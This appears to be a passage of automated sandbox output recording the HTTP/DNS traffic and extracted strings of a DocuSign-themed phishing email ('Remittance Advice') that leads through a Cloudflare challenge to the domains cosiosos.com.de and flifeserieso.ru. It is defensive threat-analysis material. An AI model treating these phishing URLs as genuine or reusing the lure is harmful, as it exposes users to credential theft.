ZCBJbml0aWFsIjogZmFsc2UsIkZpZWxkIFN0YW1wIjogZmFsc2UsIkZpZWxkIERhdGUiOiBmYWxzZSwiRmllbGQgVGV4dCI6IGZhbHNlLCJGaWVsZCBOYW1lIjogZmFsc2UsIkZpZWxkIENvbXBhbnkiOiBmYWxzZSwiRmllbGQgVGl0bGUiOiBmYWxzZSwiRmllbGQgRW1haWwiOiBmYWxzZSwiRmllbGQgQ2hlY2tib3giOiBmYWxzZSwiRmllbGQgUmFkaW8iOiBmYWxzZSwiRmllbGQgRHJvcGRvd24iOiBmYWxzZSwiRmllbGQgQXR0YWNobWVudCI6IGZhbHNlLCJGaWVsZCBOb3RlIjogZmFsc2UsIkZpZWxkIEFwcHJvdmUiOiBmYWxzZSwiRmllbGQgRGVjbGluZSI6IGZhbHNlLCJGaWVsZCBWaWV3IjogZmFsc2UsIkZpZWxkIEZvcm11bGEiOiBmYWxzZSwiVGVtcGxhdGUgVXNlZCI6IGZhbHNlLCJTdXBwbGVtZW50YWwgRG9jdW1lbnQgQ291bnQiOiAwLCJTdXBwbGVtZW50YWwgRG9jdW1lbnQgUmVxdWlyZW1lbnRzIjogIiIsIkF1dG9Db21wbGV0ZSBFbmFibGVkIjogZmFsc2UsInByb2R1Y3QgYXJlYSI6ICJTaWduaW5nIiwiRnJlZWZvcm0iOiBmYWxzZSwiU2lnbmluZ0V4dGVuc2lvbnMiOiB0cnVlLCJCcm93c2VyIFdpZHRoIEluaXRpYWwiOiAxMjgwLCJCcm93c2VyIEhlaWdodCBJbml0aWFsIjogOTA3LCJCcm93c2VyIFdpZHRoIjogMTI4MCwiQnJvd3NlciBIZWlnaHQiOiA5MDcsIlNlc3Npb24gQWJvdXQgdG8gRXhwaXJlIENvdW50IjogMCwiVG9wIEZpbmlzaCBIaWRkZW4iOiBmYWxzZSwiUG93ZXJGb3JtIjogZmFsc2UsIkEvQiBUZXN0cyI6ICJpZnJhbWVsZXNzOiBtb2JpbGUiLCJQb3dlcmZvcm0gU2VuZGVyIjogZmFsc2UsIlBsYXRmb3JtIjogIldlYiBBcHAiLCJEU19BIjogIjdjZGU1OTBhLWQ1NDYtNDgzZi05ZWE1LTdjMDhiN2RjYjNkMSIsInRva2VuIjogIjMwNGNjYmRlMjRkM2IxNWZmZTJkNWRlMzBjMTBkYWIyIn19&ip=1&_=1730304166882 HTTP/1.1Host: api.mixpanel.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.3
Source: global traffic HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=taDD3xpuybGbbSO&MD=rvYMRxo8 HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic HTTP traffic detected: GET /7i2ko/ HTTP/1.1Host: cosiosos.com.deConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /turnstile/v0/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cosiosos.com.de/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /turnstile/v0/g/f2bbd6738e15/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cosiosos.com.de/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /turnstile/v0/g/f2bbd6738e15/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/lgrcx/0x4AAAAAAAymLki0nrxyy8m1/auto/fbE/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://cosiosos.com.de/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8daca25f6a033ab9&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/lgrcx/0x4AAAAAAAymLki0nrxyy8m1/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/lgrcx/0x4AAAAAAAymLki0nrxyy8m1/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: cosiosos.com.deConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cosiosos.com.de/7i2ko/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=2uscd0m6dm2oar0fqna57kj4ec
Source: global traffic HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8daca25f6a033ab9&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1949912508:1730302839:6E6Pv0gXY2yq3TxC6jtiBY6FhM93W7pcTOciG49SbVM/8daca25f6a033ab9/mSxS4QLFfX1KduKA8IVUdCMT6yk3.DZUtG8sRCXn800-1730304194-1.1.1.1-tLrtY0KPfLrVeUbAZQo5IZkOR0jvrGXSYd7PP0lxxogrjtFGGvybnkXgMlSUe35b HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/i/8daca25f6a033ab9/1730304197167/gRrNLvrrXazQrWD HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/lgrcx/0x4AAAAAAAymLki0nrxyy8m1/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/i/8daca25f6a033ab9/1730304197167/gRrNLvrrXazQrWD HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/pat/8daca25f6a033ab9/1730304197174/07f7aaa5969baaa40a857825e8b1c2599f2cd729566798306c53c51f8a6113d5/JiPuQio3d7laoB9 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/lgrcx/0x4AAAAAAAymLki0nrxyy8m1/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1949912508:1730302839:6E6Pv0gXY2yq3TxC6jtiBY6FhM93W7pcTOciG49SbVM/8daca25f6a033ab9/mSxS4QLFfX1KduKA8IVUdCMT6yk3.DZUtG8sRCXn800-1730304194-1.1.1.1-tLrtY0KPfLrVeUbAZQo5IZkOR0jvrGXSYd7PP0lxxogrjtFGGvybnkXgMlSUe35b HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1949912508:1730302839:6E6Pv0gXY2yq3TxC6jtiBY6FhM93W7pcTOciG49SbVM/8daca25f6a033ab9/mSxS4QLFfX1KduKA8IVUdCMT6yk3.DZUtG8sRCXn800-1730304194-1.1.1.1-tLrtY0KPfLrVeUbAZQo5IZkOR0jvrGXSYd7PP0lxxogrjtFGGvybnkXgMlSUe35b HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cosiosos.com.de/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /ajax/libs/font-awesome/6.5.0/css/all.min.css HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,*/*;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://cosiosos.com.de/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET // HTTP/1.1Host: flifeserieso.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /ajax/libs/font-awesome/6.5.0/webfonts/fa-solid-900.woff2 HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://cosiosos.com.desec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /ajax/libs/font-awesome/6.5.0/webfonts/fa-brands-400.woff2 HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://cosiosos.com.desec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /7i2ko/ HTTP/1.1Host: cosiosos.com.deConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=2uscd0m6dm2oar0fqna57kj4ec
Source: global traffic DNS traffic detected: DNS query: na4.docusign.net
Source: global traffic DNS traffic detected: DNS query: docucdn-a.akamaihd.net
Source: global traffic DNS traffic detected: DNS query: a.docusign.com
Source: global traffic DNS traffic detected: DNS query: www.google.com
Source: global traffic DNS traffic detected: DNS query: api.mixpanel.com
Source: global traffic DNS traffic detected: DNS query: cdn.optimizely.com
Source: global traffic DNS traffic detected: DNS query: cosiosos.com.de
Source: global traffic DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic DNS traffic detected: DNS query: flifeserieso.ru
Source: global traffic DNS traffic detected: DNS query: cdn.jsdelivr.net
Source: unknown HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 3592Host: login.live.com
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 30 Oct 2024 16:03:16 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecache-control: private, no-cache, max-age=0pragma: no-cachevary: Accept-EncodingCF-Cache-Status: BYPASSReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MkouCdERZZpiD%2BMpUTd8csWNNyAd86pTJGInWpclFvct9PdKN1S%2BK2movndx3HcgVBLuHQRPbs8aASb%2FBI%2FV9gQFG1zUzCBRrIF%2Fb7x46b84YJeSvvA7trghEacm36LMtaM%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8daca26b68f92cb6-DFWalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2045&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2836&recv_bytes=1216&delivery_rate=1401742&cwnd=251&unsent_bytes=0&cid=d9227584f6bc0f48&ts=3873&x=0"
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 30 Oct 2024 16:03:18 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: x3ihZ6awx5vegKYIiv4UBDzTVP8UP7ptHiA=$50ccCoNtrHJkdWqVServer: cloudflareCF-RAY: 8daca277dc5146de-DFWalt-svc: h3=":443"; ma=86400
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 30 Oct 2024 16:03:22 GMTContent-Type: application/jsonContent-Length: 7Connection: closecf-chl-out: eV0hQiDuxYX5PX4f7zsY0xrLrqMLZUimd6c=$DAAZCA27SH8EDw5Fcache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Server: cloudflareCF-RAY: 8daca2937d4b466b-DFWalt-svc: h3=":443"; ma=86400
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 30 Oct 2024 16:03:35 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: ryeOVgd3mzYaVZ8pe3WztQIpEnh1WQ4g5NY=$OK4H6lpn/hIBvCVXServer: cloudflareCF-RAY: 8daca2e478791441-DFWalt-svc: h3=":443"; ma=86400
Source: 57C8EDB95DF3F0AD4EE2DC2B8CFD4157.0.dr String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab
Source: chromecache_208.6.dr, chromecache_186.6.dr String found in binary or memory: http://dbj.org/dbj/?p=286
Source: chromecache_208.6.dr, chromecache_186.6.dr String found in binary or memory: http://dean.edwards.name/weblog/2005/10/add-event/
Source: chromecache_208.6.dr, chromecache_186.6.dr String found in binary or memory: http://documentcloud.github.com/underscore/
Source: chromecache_208.6.dr, chromecache_186.6.dr String found in binary or memory: http://hacks.mozilla.org/2009/07/cross-site-xmlhttprequest-with-cors/
Source: chromecache_208.6.dr, chromecache_186.6.dr String found in binary or memory: http://mixpanel.com/
Source: Complete with Docusign_ Remittance Advice .pdf(1).eml String found in binary or memory: http://schema.org/Crea=
Source: Complete with Docusign_ Remittance Advice .pdf(1).eml String found in binary or memory: http://schema.org/EmailMessage
Source: chromecache_208.6.dr, chromecache_186.6.dr String found in binary or memory: http://www.ecma-international.org/ecma-262/5.1/#sec-12.4
Source: chromecache_225.6.dr String found in binary or memory: https://NA4.docusign.net
Source: ~WRS{CF401D11-800B-47CE-B7D5-AE5CAD61CE5A}.tmp.0.dr String found in binary or memory: https://NA4.docusign.net/member/Images/email/docInvite-white.png
Source: chromecache_225.6.dr String found in binary or memory: https://apps.docusign.com/cdn/production/1ds/widgets/
Source: chromecache_272.6.dr String found in binary or memory: https://cdn.jsdelivr.net/npm/bootstrap
Source: chromecache_272.6.dr String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.css
Source: Complete with Docusign_ Remittance Advice .pdf(1).eml String found in binary or memory: https://community.docusign.com/esignature-111?utm_campaign=3DGBL_US_PR=
Source: ~WRS{CF401D11-800B-47CE-B7D5-AE5CAD61CE5A}.tmp.0.dr String found in binary or memory: https://community.docusign.com/esignature-111?utm_campaign=GBL_US_PRD_AWA_2405_CommunityCTA&utm_medi
Source: chromecache_208.6.dr, chromecache_186.6.dr String found in binary or memory: https://developer.mozilla.org/en-US/docs/DOM/XMLHttpRequest#withCredentials
Source: Complete with Docusign_ Remittance Advice .pdf(1).eml String found in binary or memory: https://docucdn-a.akam=
Source: ~WRS{CF401D11-800B-47CE-B7D5-AE5CAD61CE5A}.tmp.0.dr String found in binary or memory: https://docucdn-a.akamaihd.net/olive/images/2.62.0/global-assets/email-templates/email-logo.png
Source: Complete with Docusign_ Remittance Advice .pdf(1).eml String found in binary or memory: https://docucdn-a.akamaihd.net/olive/images/=
Source: chromecache_225.6.dr String found in binary or memory: https://docucdn-a.akamaihd.net/production/1ds/widgets/
Source: chromecache_272.6.dr String found in binary or memory: https://flifeserieso.ru//
Source: chromecache_272.6.dr String found in binary or memory: https://flifeserieso.ru//#contact
Source: chromecache_272.6.dr String found in binary or memory: https://flifeserieso.ru//#inventory
Source: chromecache_272.6.dr String found in binary or memory: https://flifeserieso.ru//#services
Source: chromecache_312.6.dr String found in binary or memory: https://fontawesome.com
Source: chromecache_312.6.dr String found in binary or memory: https://fontawesome.com/license/free
Source: chromecache_181.6.dr String found in binary or memory: https://getbootstrap.com/)
Source: chromecache_208.6.dr, chromecache_186.6.dr String found in binary or memory: https://gist.github.com/1930440
Source: chromecache_208.6.dr, chromecache_186.6.dr String found in binary or memory: https://github.com/douglascrockford/JSON-js/blob/master/json_parse.js
Source: chromecache_181.6.dr String found in binary or memory: https://github.com/twbs/bootstrap/blob/main/LICENSE)
Source: chromecache_227.6.dr, chromecache_291.6.dr, chromecache_202.6.dr, chromecache_177.6.dr String found in binary or memory: https://github.com/zloirock/core-js
Source: chromecache_227.6.dr, chromecache_291.6.dr, chromecache_202.6.dr, chromecache_177.6.dr String found in binary or memory: https://github.com/zloirock/core-js/blob/v3.30.2/LICENSE
Source: chromecache_272.6.dr String found in binary or memory: https://instagram.com/flifeserieso.ru
Source: chromecache_272.6.dr String found in binary or memory: https://linkedin.com/in/flifeserieso.ru
Source: OUTLOOK_16_0_16827_20130-20241030T1202110016-4212.etl.0.dr String found in binary or memory: https://login.windows.localR
Source: OUTLOOK_16_0_16827_20130-20241030T1202110016-4212.etl.0.dr String found in binary or memory: https://login.windows.localnull
Source: Complete with Docusign_ Remittance Advice .pdf(1).eml String found in binary or memory: https://na4.docusign.ne=
Source: ~WRS{CF401D11-800B-47CE-B7D5-AE5CAD61CE5A}.tmp.0.dr String found in binary or memory: https://na4.docusign.net/Signing/EmailStart.aspx?a=1a10f8a2-bc91-4de8-87d6-62c09adfe371&etti=24&acct
Source: Complete with Docusign_ Remittance Advice .pdf(1).eml String found in binary or memory: https://protect.docusign.net/report-abuse?e=3DAUtomjpFak=
Source: ~WRS{CF401D11-800B-47CE-B7D5-AE5CAD61CE5A}.tmp.0.dr String found in binary or memory: https://protect.docusign.net/report-abuse?e=AUtomjpFak9GlbPL0zFFi11nvPvhNN9U5-awyJ6YeimgW9YnY_hFeh5O
Source: Complete with Docusign_ Remittance Advice .pdf(1).eml, ~WRS{CF401D11-800B-47CE-B7D5-AE5CAD61CE5A}.tmp.0.dr String found in binary or memory: https://support.docusign.com/
Source: Complete with Docusign_ Remittance Advice .pdf(1).eml String found in binary or memory: https://support.docusign.com/en/articles/How-do-I-manage-my-email-notifica=
Source: ~WRS{CF401D11-800B-47CE-B7D5-AE5CAD61CE5A}.tmp.0.dr String found in binary or memory: https://support.docusign.com/en/articles/How-do-I-manage-my-email-notifications
Source: Complete with Docusign_ Remittance Advice .pdf(1).eml String found in binary or memory: https://support.docusign.com/en/guides/Declining-to-sign-DocuSign-=
Source: ~WRS{CF401D11-800B-47CE-B7D5-AE5CAD61CE5A}.tmp.0.dr String found in binary or memory: https://support.docusign.com/en/guides/Declining-to-sign-DocuSign-Signer-Guide
Source: ~WRS{CF401D11-800B-47CE-B7D5-AE5CAD61CE5A}.tmp.0.dr String found in binary or memory: https://support.docusign.com/s/articles/How-do-I-sign-a-DocuSign-document-Basic-Signing?language=en_
Source: Complete with Docusign_ Remittance Advice .pdf(1).eml String found in binary or memory: https://support.docusign.com/s=
